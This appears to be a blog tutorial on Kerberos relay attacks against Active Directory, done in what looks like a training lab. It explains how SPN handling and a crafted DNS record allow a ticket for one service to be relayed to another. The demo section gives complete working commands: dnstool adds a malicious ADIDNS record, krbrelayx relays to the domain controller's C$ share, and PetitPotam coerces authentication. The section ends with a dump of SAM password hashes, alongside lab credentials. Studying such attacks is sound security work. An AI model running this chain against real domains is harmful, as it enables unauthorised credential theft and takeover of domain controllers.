Post cover image

July 4, 2026

Active Directory Attacks — Kerberos Relay Attack

A Kerberos relay attack is possible because the attacker does not need to decrypt, modify, or forge the Service Ticket (ST) contained in…

By Osec

3 min read

A Kerberos relay attack is possible because the attacker does not need to decrypt, modify, or forge the Service Ticket (ST) contained in the AP-REQ. Instead, the AP-REQ is forwarded unchanged to another service.

For the relay to succeed, the target service must be able to decrypt the relayed Service Ticket. Since an ST is encrypted with the secret key of the account that owns the target Service Principal Name (SPN), it can only be accepted by services running under that same security principal.

In Active Directory, multiple SPNs (e.g., HOST, CIFS, HTTP, RPCSS) are commonly mapped to the same computer or service account. Windows typically validates that the receiving service can decrypt the ticket, but it does not enforce the SPN service class (HOST, CIFS, HTTP, etc.) for local services running under the same account. Consequently, a ticket issued for one SPN can often be accepted by another service associated with the same account.

This SPN flexibility, combined with the absence of relay mitigations such as channel binding or message signing, is what makes Kerberos relay attacks possible.

Attack

A Kerberos relay attack consists of intercepting a victim's Kerberos AP-REQ and immediately forwarding it to another service running under the same security principal. The AP-REQ may be obtained by capturing an authentication exchange on the network or by inducing the victim to authenticate then capture the authentication exchange. If the target service can decrypt the relayed Service Ticket (ST) and does not enforce relay mitigations such as channel binding or message signing, it accepts the authentication, allowing the us to interact with the service using the victim's security context.

demo:

For this demonstration, we will use an authentication coercion technique to force a domain-joined host to initiate a Kerberos authentication. The captured Kerberos AP-REQ will then be relayed to the SMB service exposed by the domain controller at:

\\ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL\C$

Upon successful relay, krbrelayx will authenticate to the target using the relayed credentials and attempt to access the administrative C$ share in order to dump the domain controller's SAM database.

Kerberos relay to unsigned SMB services is possible during coerced authentication by abusing the way Service Principal Names (SPNs) are constructed. When an SMB client generates an SPN, the SecMakeSPNEx2 function calls CredMarshalTargetInfo API, which serializes the CREDENTIAL_TARGET_INFORMATION structure into a Base64 encoded string and appends it to the end of the SPN. As a result, the final SPN has the following format:

cifs/target<marshaled_blob>

By registering a DNS record matching this extended hostname, we causes the client to request a valid ticket for cifs/target while actually connecting to the attacker-controlled host.

Since ADIDNS allows authenticated users to add records by default as explained in this article, this redirection is feasible.

Due to the DNS label length limit (63 characters), the marshaled blob must be minimized, leaving limited space for the hostname portion. A minimal valid CREDENTIAL_TARGET_INFORMATION structure (e.g., 1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA) is therefore required to make the attack practical.

First, let's register a crafted DNS record where the NetBIOS name corresponds to the relay target (the Domain Controller), not the coerced machine. This ensures the Kerberos ticket will be issued for the DC (cifs/DC) while the connection is redirected to the attacker:

dnstool -u "INLANEFREIGHT.LOCAL\\htb-student_adm" -p 'Academy_student_DA!' -r "ACADEMY-EA-DC011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" -d "10.10.15.93" --action add "10.129.202.146" --tcp

Next, let's start krbrelayx to relay incoming Kerberos authentications to the SMB service on the Domain Controller:

python3.11 /usr/share/krbrelayx/krbrelayx.py -t 'smb://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/C$'

Then, we will trigger a coerced authentication (e.g., via PetitPotam) from a target machine to the crafted DNS record:

python3 PetitPotam.py -d INLANEFREIGHT.LOCAL -u htb-student_adm -p 'Academy_student_DA!' "ACADEMY-EA-DC011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" 10.129.202.146
Trying pipe lsarpc
[-] Connecting to ncacn_np:10.129.202.146[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

The Attack worked :)

#python3.11 /usr/share/krbrelayx/krbrelayx.py -t 'smb://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/C$'

[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Running in attack mode to single host
[*] Running in kerberos relay mode because no credentials were specified.
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up DNS Server

[*] Servers started, waiting for connections
[*] SMBD: Received connection from 10.129.202.146
[*] SMBD: Received connection from 10.129.202.146
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x0e79d2e5d9bad2639da4ef244b30fda5
[*] Target system bootKey: 0x0e79d2e5d9bad2639da4ef244b30fda5
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a0eed386fa4e62210e41961f91dcf14d:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a0eed386fa4e62210e41961f91dcf14d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Done dumping SAM hashes for host: academy-ea-dc01.inlanefreight.local
[*] Done dumping SAM hashes for host: academy-ea-dc01.inlanefreight.local
[*] Stopping service RemoteRegistry
None